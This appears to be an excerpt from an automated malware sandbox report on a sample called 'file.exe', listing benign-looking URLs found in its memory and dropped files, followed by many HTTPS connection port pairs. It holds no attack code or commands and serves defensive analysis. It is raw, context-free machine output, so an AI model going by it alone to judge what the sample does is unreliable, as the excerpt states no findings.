Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 000003.log7.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log4.9.dr, 000003.log8.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log4.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log4.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log4.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376808160205306.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_451.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: HDBKJEGIEBFHCAAKKEBAEBKEBK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HDBKJEGIEBFHCAAKKEBAEBKEBK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HDBKJEGIEBFHCAAKKEBAEBKEBK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2768663605.0000000023341000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741444292.000000000093E000.00000004.00000020.00020000.00000000.sdmp, BGDAAEHDHIIJKECBKEBA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: CAFIJKFH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: CAFIJKFH.0.dr, Web Data.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: a3b6bb1a-9acc-4deb-b9c9-476a58d5d9c0.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_451.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_451.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_451.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: HDBKJEGIEBFHCAAKKEBAEBKEBK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: HDBKJEGIEBFHCAAKKEBAEBKEBK.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: HDBKJEGIEBFHCAAKKEBAEBKEBK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: HDBKJEGIEBFHCAAKKEBAEBKEBK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: HDBKJEGIEBFHCAAKKEBAEBKEBK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2768663605.0000000023341000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741444292.000000000093E000.00000004.00000020.00020000.00000000.sdmp, BGDAAEHDHIIJKECBKEBA.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
